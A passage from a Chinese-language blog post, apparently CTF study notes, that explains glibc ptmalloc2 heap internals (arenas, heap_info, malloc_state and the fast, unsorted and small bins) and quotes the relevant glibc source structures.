<code>chunk</code> 可能并不和申请的内存大小一致，这时候就将分割之后的剩余部分称之为 <code>last remainder chunk</code></p></blockquote><ul><li><code>unsorted bin</code> 也会存这一块</li><li><code>top chunk</code> 分割剩下的部分不会作为 <code>last remainder</code></li></ul><hr><h3 id="宏观结构"><a href="#宏观结构" class="headerlink" title="宏观结构"></a>宏观结构</h3><h4 id="arena"><a href="#arena" class="headerlink" title="arena"></a>arena</h4><blockquote><p>无论是主线程还是新创建的线程，在第一次申请内存时，都会有独立的 <code>arena</code>，<code>arena</code> 就是用来管理线程中的这些堆的，也可以理解为堆管理器所持有的内存池</p></blockquote><ul><li>一个线程只有一个 <code>arnea</code>，并且这些线程的 <code>arnea</code> 都是独立的不是相同的</li></ul><p>但也不是每一个线程都会有对应的 <code>arena</code>，对于不同系统，<code>arena</code> 数量的约束如下：</p><pre class="line-numbers language-txt" data-language="txt"><code class="language-txt">For 32 bit systems:     Number of arena = 2 * number of cores.For 64 bit systems:     Number of arena = 8 * number of cores.<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>因为每个系统的核数是有限的，当线程数大于核数的二倍（超线程技术）时，就必然有线程处于等待状态，所以没有必要为每个线程分配一个 <code>arena</code></p><ul><li>主线程的 <code>arnea</code> 称为 <code>main_arena</code>，子线程的 <code>arnea</code> 称为 <code>thread_arena</code></li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA16.png" alt="CTF - PWN_堆与堆溢出16.png"></p><ul><li>主线程无论一开始 <code>malloc</code> 多少空间，只要 <code>size &lt; 128KB</code>，<code>kernel</code> 都会分配 <code>132KB</code> 具有读写权限的 <code>heap segment</code>，这部分称为 <code>main_arena</code></li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA17.png" alt="CTF - PWN_堆与堆溢出17.png"></p><p>例如这张图中：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA2.png" alt="CTF - PWN_堆与堆溢出2.png"></p><p><code>heap segment</code> 地址为 <code>0x555555559000 ~ 0x55555557a000</code>，具有 <code>rw</code> 权限，总共：<code>(0x55555557a000 - 0x555555559000)B / 1024 = 132KB</code></p><blockquote><p>注意：</p><p><code>main_arena</code> 并不在申请的 <code>heap</code> 中，而是一个全局变量，在 <code>libc.so</code> 的数据段中</p></blockquote><p>后续申请的内存会一直从这个 <code>arena</code> 中获取，直到空间不足</p><p>当 <code>arena</code> 空间不足时，它可以通过增加 <code>brk</code> 的方式来增加堆的空间；类似地，<code>arena</code> 也可以通过减小 <code>brk</code> 来缩小自己的空间</p><p>即使将所有 <code>main_arena</code> 所分配出去的内存块 <code>free</code> 完，也不会立即还给 <code>kernel</code>，而是交由 Glibc 来管理。当后面程序再次申请内存时，在 Glibc 中管理的内存充足的情况下，Glibc 就会根据堆分配的算法来给程序分配相应的内存</p><hr><h4 id="heap-info"><a href="#heap-info" class="headerlink" title="heap_info"></a>heap_info</h4><blockquote><p>程序刚开始执行时，每个线程是没有 <code>heap</code> 区域的。当其申请内存时，就需要 <code>heap_info</code> 这个结构来记录对应的信息</p><p>当该 <code>heap</code> 的资源被使用完后，就必须得再次申请内存了。此外，一般申请的 <code>heap</code> 是不连续的，因此需要记录不同 <code>heap</code> 之间的链接结构</p></blockquote><ul><li><p><strong><code>heap_info</code> 这个数据结构是专门为从 <code>Memory Mapping Segment</code> 处申请的内存准备的，即为非主线程准备的</strong></p></li><li><p>主线程可以通过 <code>sbrk()</code> 函数扩展 <code>program break location</code> 获得（直到触及 <code>Memory Mapping Segment</code>），只有一个 <code>heap</code>，没有 <code>heap_info</code> 数据结构</p></li></ul><p><code>heap_info</code> 的主要结构如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">HEAP_MIN_SIZE</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">32</span> <span class="token operator">*</span> <span class="token number">1024</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">ifndef</span> <span class="token expression">HEAP_MAX_SIZE</span></span><span class="token macro property"><span class="token directive-hash">#</span> <span class="token directive keyword">ifdef</span> <span class="token expression">DEFAULT_MMAP_THRESHOLD_MAX</span></span><span class="token macro property"><span class="token directive-hash">#</span>  <span class="token directive keyword">define</span> <span class="token macro-name">HEAP_MAX_SIZE</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">2</span> <span class="token operator">*</span> DEFAULT_MMAP_THRESHOLD_MAX<span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span> <span class="token directive keyword">else</span></span><span class="token macro property"><span class="token directive-hash">#</span>  <span class="token directive keyword">define</span> <span class="token macro-name">HEAP_MAX_SIZE</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">1024</span> <span class="token operator">*</span> <span class="token number">1024</span><span class="token punctuation">)</span> </span><span class="token comment">/* must be a power of two */</span></span><span class="token macro property"><span class="token directive-hash">#</span> <span class="token directive keyword">endif</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">endif</span></span><span class="token comment">/* HEAP_MIN_SIZE and HEAP_MAX_SIZE limit the size of mmap()ed heaps   that are dynamically created for multi-threaded programs.  The   maximum size must be a power of two, for fast determination of   which heap belongs to a chunk.  It should be much larger than the   mmap threshold, so that requests with a size just below that   threshold can be fulfilled without creating too many heaps.  */</span><span class="token comment">/***************************************************************************/</span><span class="token comment">/* A heap is a single contiguous memory region holding (coalesceable)   malloc_chunks.  It is allocated with mmap() and always starts at an   address aligned to HEAP_MAX_SIZE.  */</span><span class="token keyword">typedef</span> <span class="token keyword">struct</span> <span class="token class-name">_heap_info</span><span class="token punctuation">&#123;</span>  mstate ar_ptr<span class="token punctuation">;</span> <span class="token comment">/* Arena for this heap. */</span>  <span class="token keyword">struct</span> <span class="token class-name">_heap_info</span> <span class="token operator">*</span>prev<span class="token punctuation">;</span> <span class="token comment">/* Previous heap. */</span>  size_t size<span class="token punctuation">;</span>   <span class="token comment">/* Current size in bytes. */</span>  size_t mprotect_size<span class="token punctuation">;</span> <span class="token comment">/* Size in bytes that has been mprotected                           PROT_READ|PROT_WRITE.  */</span>  <span class="token comment">/* Make sure the following data is properly aligned, particularly     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of     MALLOC_ALIGNMENT. */</span>  <span class="token keyword">char</span> pad<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">6</span> <span class="token operator">*</span> SIZE_SZ <span class="token operator">&amp;</span> MALLOC_ALIGN_MASK<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> heap_info<span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>该结构主要是描述堆的基本信息，包括：</p><ul><li>堆对应的 <code>arena</code> 的地址</li><li>由于一个线程申请一个堆之后，可能会使用完，之后就必须得再次申请。因此，一个线程可能会有多个堆。<code>prev</code> 即记录了上一个 <code>heap_info</code> 的地址。这里可以看到每个堆的 <code>heap_info</code> 是通过单向链表进行链接的</li><li><code>size</code> 表示当前堆的大小</li><li><code>pad</code> 确保分配的空间是按照 <code>MALLOC_ALIGN_MASK + 1</code> 对齐的</li></ul><hr><h4 id="malloc-state"><a href="#malloc-state" class="headerlink" title="malloc_state"></a>malloc_state</h4><blockquote><p><code>malloc_state</code> 结构用于管理堆，记录每个 <code>arena</code> 当前申请的内存的具体状态，例如：是否有空闲 <code>chunk</code>，空闲 <code>chunk</code> 的大小等等</p></blockquote><ul><li>无论是 <code>thread_arena</code> 还是 <code>main_arena</code>，它们都只有一个 <code>malloc state</code> 结构</li><li>由于 <code>thread</code> 的 <code>arena</code> 可能有多个，<code>malloc state</code> 结构会在最新申请的 <code>arena</code> 中</li></ul><p><code>malloc_state</code> 的结构如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">struct</span> <span class="token class-name">malloc_state</span> <span class="token punctuation">&#123;</span>    <span class="token comment">/* Serialize access.  */</span>    <span class="token function">__libc_lock_define</span><span class="token punctuation">(</span><span class="token punctuation">,</span> mutex<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Flags (formerly in max_fast).  */</span>    <span class="token keyword">int</span> flags<span class="token punctuation">;</span>    <span class="token comment">/* Fastbins */</span>    mfastbinptr fastbinsY<span class="token punctuation">[</span> NFASTBINS <span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token comment">/* Base of the topmost chunk -- not otherwise kept in a bin */</span>    mchunkptr top<span class="token punctuation">;</span>    <span class="token comment">/* The remainder from the most recent split of a small request */</span>    mchunkptr last_remainder<span class="token punctuation">;</span>    <span class="token comment">/* Normal bins packed as described above */</span>    mchunkptr bins<span class="token punctuation">[</span> NBINS <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">-</span> <span class="token number">2</span> <span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token comment">/* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/</span>    <span class="token keyword">unsigned</span> <span class="token keyword">int</span> binmap<span class="token punctuation">[</span> BINMAPSIZE <span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token comment">/* Linked list, points to the next arena */</span>    <span class="token keyword">struct</span> <span class="token class-name">malloc_state</span> <span class="token operator">*</span>next<span class="token punctuation">;</span>    <span class="token comment">/* Linked list for free arenas.  Access to this field is serialized       by free_list_lock in arena.c.  */</span>    <span class="token keyword">struct</span> <span class="token class-name">malloc_state</span> <span class="token operator">*</span>next_free<span class="token punctuation">;</span>    <span class="token comment">/* Number of threads attached to this arena.  0 if the arena is on       the free list.  Access to this field is serialized by       free_list_lock in arena.c.  */</span>    INTERNAL_SIZE_T attached_threads<span class="token punctuation">;</span>    <span class="token comment">/* Memory allocated from the system in this arena.  */</span>    INTERNAL_SIZE_T system_mem<span class="token punctuation">;</span>    INTERNAL_SIZE_T max_system_mem<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><ul><li><code>libc_lock_define(, mutex)</code><br>  该变量用于控制程序串行访问同一个分配区，当一个线程获取了分配区之后，其它线程要想访问该分配区，就必须等待该线程分配完成后才能够使用。</li><li><code>flags</code><br>  <code>flags</code> 记录了分配区的一些标志，比如 <code>bit0</code> 记录了分配区是否有 <code>fast bin chunk</code>，<code>bit1</code> 标识分配区是否能返回连续的虚拟地址空间。具体如下：</li></ul><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token comment">/*   FASTCHUNKS_BIT held in max_fast indicates that there are probably   some fastbin chunks. It is set true on entering a chunk into any   fastbin, and cleared only in malloc_consolidate.   The truth value is inverted so that have_fastchunks will be true   upon startup (since statics are zero-filled), simplifying   initialization checks. */</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">FASTCHUNKS_BIT</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">1U</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">have_fastchunks</span><span class="token expression"><span class="token punctuation">(</span>M<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>M<span class="token punctuation">)</span><span class="token operator">-></span>flags <span class="token operator">&amp;</span> FASTCHUNKS_BIT<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">clear_fastchunks</span><span class="token expression"><span class="token punctuation">(</span>M<span class="token punctuation">)</span> <span class="token function">catomic_or</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token punctuation">(</span>M<span class="token punctuation">)</span><span class="token operator">-></span>flags<span class="token punctuation">,</span> FASTCHUNKS_BIT<span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">set_fastchunks</span><span class="token expression"><span class="token punctuation">(</span>M<span class="token punctuation">)</span> <span class="token function">catomic_and</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token punctuation">(</span>M<span class="token punctuation">)</span><span class="token operator">-></span>flags<span class="token punctuation">,</span> <span class="token operator">~</span>FASTCHUNKS_BIT<span class="token punctuation">)</span></span></span><span class="token comment">/*   NONCONTIGUOUS_BIT indicates that MORECORE does not return contiguous   regions.  Otherwise, contiguity is exploited in merging together,   when possible, results from consecutive MORECORE calls.   The initial value comes from MORECORE_CONTIGUOUS, but is   changed dynamically if mmap is ever used as an sbrk substitute. */</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NONCONTIGUOUS_BIT</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">2U</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">contiguous</span><span class="token expression"><span class="token punctuation">(</span>M<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>M<span class="token punctuation">)</span><span class="token operator">-></span>flags <span class="token operator">&amp;</span> NONCONTIGUOUS_BIT<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">noncontiguous</span><span class="token expression"><span class="token punctuation">(</span>M<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>M<span class="token punctuation">)</span><span class="token operator">-></span>flags <span class="token operator">&amp;</span> NONCONTIGUOUS_BIT<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">set_noncontiguous</span><span class="token expression"><span class="token punctuation">(</span>M<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>M<span class="token punctuation">)</span><span class="token operator">-></span>flags <span class="token operator">|=</span> NONCONTIGUOUS_BIT<span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">set_contiguous</span><span class="token expression"><span class="token punctuation">(</span>M<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>M<span class="token punctuation">)</span><span class="token operator">-></span>flags <span class="token operator">&amp;=</span> <span class="token operator">~</span>NONCONTIGUOUS_BIT<span class="token punctuation">)</span></span></span><span class="token comment">/* ARENA_CORRUPTION_BIT is set if a memory corruption was detected on the   arena.  Such an arena is no longer used to allocate chunks.  Chunks   allocated in that arena before detecting corruption are not freed.  */</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ARENA_CORRUPTION_BIT</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">4U</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">arena_is_corrupt</span><span class="token expression"><span class="token punctuation">(</span>A<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>A<span class="token punctuation">)</span><span class="token operator">-></span>flags <span class="token operator">&amp;</span> ARENA_CORRUPTION_BIT<span class="token punctuation">)</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">set_arena_corrupt</span><span class="token expression"><span class="token punctuation">(</span>A<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>A<span class="token punctuation">)</span><span class="token operator">-></span>flags <span class="token operator">|=</span> ARENA_CORRUPTION_BIT<span class="token punctuation">)</span></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><ul><li><code>fastbinsY[NFASTBINS]</code><br>  存放每个 <code>fast chunk</code> 链表头部的指针</li><li><code>top</code><br>  指向分配区的 <code>top chunk</code></li><li><code>last_reminder</code><br>  最新的 <code>chunk</code> 分割之后剩下的那部分</li><li><code>bins</code><br>  用于存储 <code>unstored bin</code>，<code>small bin</code> 和 <code>large bin</code> 的 <code>chunk</code> 链表</li><li><code>binmap</code><br>  <code>ptmalloc2</code> 用 1 个 <code>bit</code> 来标识某一个 <code>bin</code> 中是否包含空闲 <code>chunk</code></li></ul><blockquote><p>注意：</p><p><code>main_arena</code> 的 <code>malloc_state</code> 并不是 <code>heap segment</code> 的一部分，而是一个全局变量，存储在 <code>libc.so</code> 的数据段</p></blockquote><hr><h2 id="bin-的种类"><a href="#bin-的种类" class="headerlink" title="bin 的种类"></a>bin 的种类</h2><blockquote><p>Glibc 为了让 <code>malloc</code> 可以更快找到合适大小的 <code>chunk</code>，用户 <code>free</code> 释放掉的 <code>chunk</code> 不会马上归还给系统，而是将该 <code>chunk</code> 根据大小加入到合适的 <code>bin</code> 中</p><p>当用户再一次通过 <code>malloc</code> 请求分配内存时，<code>ptmalloc2</code> 会试图在空闲的 <code>chunk</code> 中挑选一块合适的空间给用户，这样可以避免频繁的系统调用，降低内存分配的开销</p><p><mark><code>bin</code> 的中文意思为垃圾桶，就像要删除的文件会先放入 Windows 的回收站一样不会立即删除，很生动形象了</mark></p></blockquote><p><code>ptmalloc2</code> 会根据空闲的 <code>chunk</code> 的大小以及使用状态，将 <code>chunk</code> 初步放入相应的 <code>bin</code> 中，<code>bin</code> 的种类主要分为：</p><ul><li><code>fast bin</code></li><li><code>small bin</code></li><li><code>large bin</code></li><li><code>unsorted bin</code></li><li><code>tcache</code></li></ul><p>Glibc 提供了两个数组：<code>fastbinsY[]</code> 和 <code>bins[]</code> 用来存放这些 <code>bin</code></p><p>具体来说，可分为：</p><ul><li>10 个 <code>fast bin</code>，存储在 <code>fastbinsY[]</code> 中</li><li>1 个 <code>unsorted bin</code>，存储在 <code>bins[1]</code> 中</li><li>62 个 <code>small bin</code>，存储在 <code>bins[2]</code> 至 <code>bins[63]</code> 中</li><li>63 个 <code>large bin</code>，存储在 <code>bins[64]</code> 至 <code>bins[126]</code> 中</li></ul><p>其中虽然定义了 <code>bins[128]</code>，但是 <code>bins[0]</code> 和 <code>bins[127]</code> 其实是不存在的</p><p><code>chunk</code> 在 <code>bin</code> 上以链表的形式存放：（<code>fast bin</code> 是<strong>单链表</strong>，其他的 <code>bin</code> 都是<strong>双链表</strong>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA10.png" alt="CTF - PWN_堆与堆溢出10.png"></p><hr><h3 id="fast-bin"><a href="#fast-bin" class="headerlink" title="fast bin"></a>fast bin</h3><blockquote><p><code>fast bin</code> 非常像高速缓存 cache，为了减少一些较小的 <code>chunk</code> 在合并、分割以及中间检查的过程中的开销，<code>ptmalloc2</code> 中专门设计了 <code>fast bin</code>，对应的变量就是 <code>malloc state</code> 中的 <code>fastbinsY[]</code> 数组，用于提高小内存分配效率</p></blockquote><ul><li><code>fast bin</code> 存储在 <code>fastbinsY[]</code> 处，是 10 个<strong>单链表</strong>（最后 3 个链表保留未使用）</li><li><code>fast bin</code> 的 <code>chunk</code> 大小（含 <code>chunk</code> 头部）为：<code>16 ~ 64</code> 字节（64 位为 <code>32 ~ 128</code> 字节）</li><li>相邻 <code>bin</code> 存放的大小相差 8 字节（64 位为 16 字节）</li><li><strong>采取 <code>LIFO</code> 策略</strong>（最近释放的 <code>chunk</code> 会更早地被分配）</li><li><code>chunk</code> 的 <code>PREV_INUSE</code> 位（下一个物理相邻的 <code>chunk</code> 的 <code>P</code> 位）总为 1，释放到 <code>fastbin</code> 的 <code>chunk</code> 不会被清除 <code>PREV_INUSE</code> 标志位</li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA11.png" alt="CTF - PWN_堆与堆溢出11.png"></p><p>如果遇到以下两种情况，<code>ptmalloc2</code> 会首先判断 <code>fast bin</code> 中相应的 <code>bin</code> 中是否有对应大小的空闲块，如果有的话，就会直接从这个 <code>bin</code> 中获取 <code>chunk</code>；如果没有的话，<code>ptmalloc2</code> 才会做接下来的一系列操作：</p><ul><li>在 32 位系统中（<code>SIZE_SZ = 4</code>），用户需要的 <code>chunk</code> 大小 &lt; 64 字节</li><li>在 64 位系统中（<code>SIZE_SZ = 8</code>），用户需要的 <code>chunk</code> 大小 &lt; 128 字节</li></ul><p>关于 <code>fast bin</code> 的大小定义如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">ifndef</span> <span class="token expression">DEFAULT_MXFAST </span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">DEFAULT_MXFAST</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">64</span> <span class="token operator">*</span> SIZE_SZ <span class="token operator">/</span> <span class="token number">4</span><span class="token punctuation">)</span> </span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">endif</span> </span><span class="token comment">/* The maximum fastbin request size we support */</span> <span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MAX_FAST_SIZE</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">80</span> <span class="token operator">*</span> SIZE_SZ <span class="token operator">/</span> <span class="token number">4</span><span class="token punctuation">)</span></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在 32 位系统中，<code>fast bin</code> <strong>默认支持</strong>最大的 <code>chunk</code> 的数据空间大小为 64 字节：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">DEFAULT_MXFAST <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">64</span> <span class="token operator">*</span> <span class="token number">4</span> <span class="token operator">/</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">64</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>但是其<strong>可以支持</strong>的 <code>chunk</code> 的数据空间最大为 80 字节：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">MAX_FAST_SIZE <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">80</span> <span class="token operator">*</span> <span class="token number">4</span> <span class="token operator">/</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">80</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><strong><code>fast bin</code> 最多可以支持的 <code>bin</code> 的个数为 10 个</strong>，在 32 位系统中，用户数据空间从第 8 字节开始一直到第 80 字节（不包括 <code>prev_size</code> 和 <code>size</code> 字段的 8 字节）</p><blockquote><p>注意：</p><p><strong>fast bin 中的 <code>chunk</code> 的 <code>PREV_INUSE</code> 位（下一个物理相邻的 chunk 的 P 位）始终被置为 1</strong>，因此它们不会和其它被释放的 <code>chunk</code> 合并，这也是为什么前面说 fast bin 是个特例，不会轻易合并</p><p>但是，当释放的 <code>chunk</code> 与该 <code>chunk</code> 相邻的空闲 <code>chunk</code> 合并后的大小 &gt; <code>FASTBIN_CONSOLIDATION_THRESHOLD</code> 时，说明内存碎片较多，此时就需要把 <code>fast bin</code> 中的 <code>chunk</code> 都进行合并，以减少内存碎片对系统的影响</p></blockquote><hr><h3 id="unsorted-bin"><a href="#unsorted-bin" class="headerlink" title="unsorted bin"></a>unsorted bin</h3><blockquote><p><code>unsorted bin</code> 非常像缓冲区 buffer，可以视为空闲 <code>chunk</code> 回归其所属 <code>bin</code> 之前的缓冲区</p><p>大小超过 <code>fast bin</code> 阈值的 <code>chunk</code> 被释放时会加入到这里，这使得 <code>ptmalloc2</code> 可以复用最近释放的 chunk，从而提升效率</p></blockquote><ul><li><code>unsorted bin</code> 处于 <code>bins[1]</code> 处，因此 <code>unsorted bin</code> 只有 1 个<strong>双向循环链表</strong></li><li><code>unsorted bin</code> 中的空闲 <code>chunk</code> 处于<strong>乱序状态</strong></li><li>**<code>unsorted bin</code> 在使用的过程中，采用的遍历顺序是 <code>FIFO</code>**（插入的时候插入到 unsorted bin 的头部，取出的时候从链表尾获取）</li><li>在 <code>malloc</code> 分配时，如果在 <code>fast bin</code>、<code>small bin</code> 中找不到对应大小的 <code>chunk</code>，就会尝试从 <code>unsorted bin</code> 中寻找 <code>chunk</code>。如果取出来的 <code>chunk</code> 大小刚好满足，就会直接返回给用户；如果在 <code>unsorted bin</code> 中没有合适的 <code>chunk</code>，就会把 <code>unsorted bin</code> 中的所有 <code>chunk</code> 分别加入到所属的 <code>bin</code> 中，然后再在 <code>bin</code> 中分配合适的 <code>chunk</code></li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA14.png" alt="CTF - PWN_堆与堆溢出14.png"></p><blockquote><p>当 <code>free</code> 的 <code>chunk</code> 大小 &gt;&#x3D; 144 字节时，为了效率，Glibc 并不会马上将 <code>chunk</code> 放到相对应的 <code>bin</code> 中，而会先放到 <code>unsorted bin</code></p><p>下次 <code>malloc</code> 时会先查找 <code>unsorted bin</code> 中是否有合适的 <code>chunk</code>，找不到才会去对应的 <code>bin</code> 中寻找，此时会顺便把 <code>unsorted bin</code> 的 <code>chunk</code> 放到对应的 <code>bin</code> 中，但 <code>small bin</code> 除外，为了效率，反⽽先从 <code>small bin</code> 找</p></blockquote><hr><h3 id="small-bin"><a href="#small-bin" class="headerlink" title="small bin"></a>small bin</h3><blockquote><p><code>chunk size</code> 小于 <code>0x200</code> 字节（64 位为 <code>0x400</code> 字节）的 <code>chunk</code> 叫做 <code>small chunk</code>，而 <code>small bin</code> 存放的就是这些 <code>small chunk</code></p></blockquote><ul><li><code>small bin</code> 存储在 <code>bins[2]</code> 至 <code>bins[63]</code> 处，是 62 个<strong>双向循环链表</strong>（每个链表都有链表头结点，这样可以方便对于链表内部结点的管理）</li><li><code>fast bin</code> 的 <code>chunk</code> 大小（含 <code>chunk</code> 头部）为：<code>16 ~ 496</code> 字节（64 位为 <code>32 ~ 1008</code> 字节）</li><li>相邻 <code>bin</code> 存放的大小相差 8 字节（64 位为 16 字节）</li><li><em>每个链表中存储的 <code>chunk</code> 大小都一致</em></li><li><strong>采取 <code>FIFO</code> 策略</strong>（最近释放的 <code>chunk</code> 会被最后分配），这点和 <code>fast bin</code> 相反</li><li>同样与 <code>fast bin</code> 相反的是：<em>相邻的空闲 <code>chunk</code> 会被合并</em></li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA12.png" alt="CTF - PWN_堆与堆溢出12.png"></p><p><code>small bin</code> 中每个 <code>chunk</code> 的大小与其所在的 <code>bin</code> 的 <code>index</code> 的关系为：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">chunk_size <span class="token operator">=</span> <span class="token number">2</span> <span class="token operator">*</span> SIZE_SZ <span class="token operator">*</span> index<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><code>small bin</code> 的大小再分成 62 个 <code>bin</code>，大小从 16 字节（64 位为 32 字节）开始，每次固定增加 8 字节（64 位为 16 字节）：</p><table><thead><tr><th>下标 index</th><th>SIZE_SZ&#x3D;4（32 位）</th><th>SIZE_SZ&#x3D;8（64 位）</th></tr></thead><tbody><tr><td>2</td><td>16</td><td>32</td></tr><tr><td>3</td><td>24</td><td>48</td></tr><tr><td>4</td><td>32</td><td>64</td></tr><tr><td>5</td><td>40</td><td>80</td></tr><tr><td><code>x</code></td><td><code>2 * 4 * x</code></td><td><code>2 * 8 * x</code></td></tr><tr><td>63</td><td>504</td><td>1008</td></tr></tbody></table><blockquote><p>注意：</p><p><code>fast bin</code> 中的 <code>chunk</code> 是有可能被放到 <code>small bin</code> 中去的</p></blockquote><hr><h3 id="large-bin"><a href="#large-bin" class="headerlink" title="large bin"></a>large 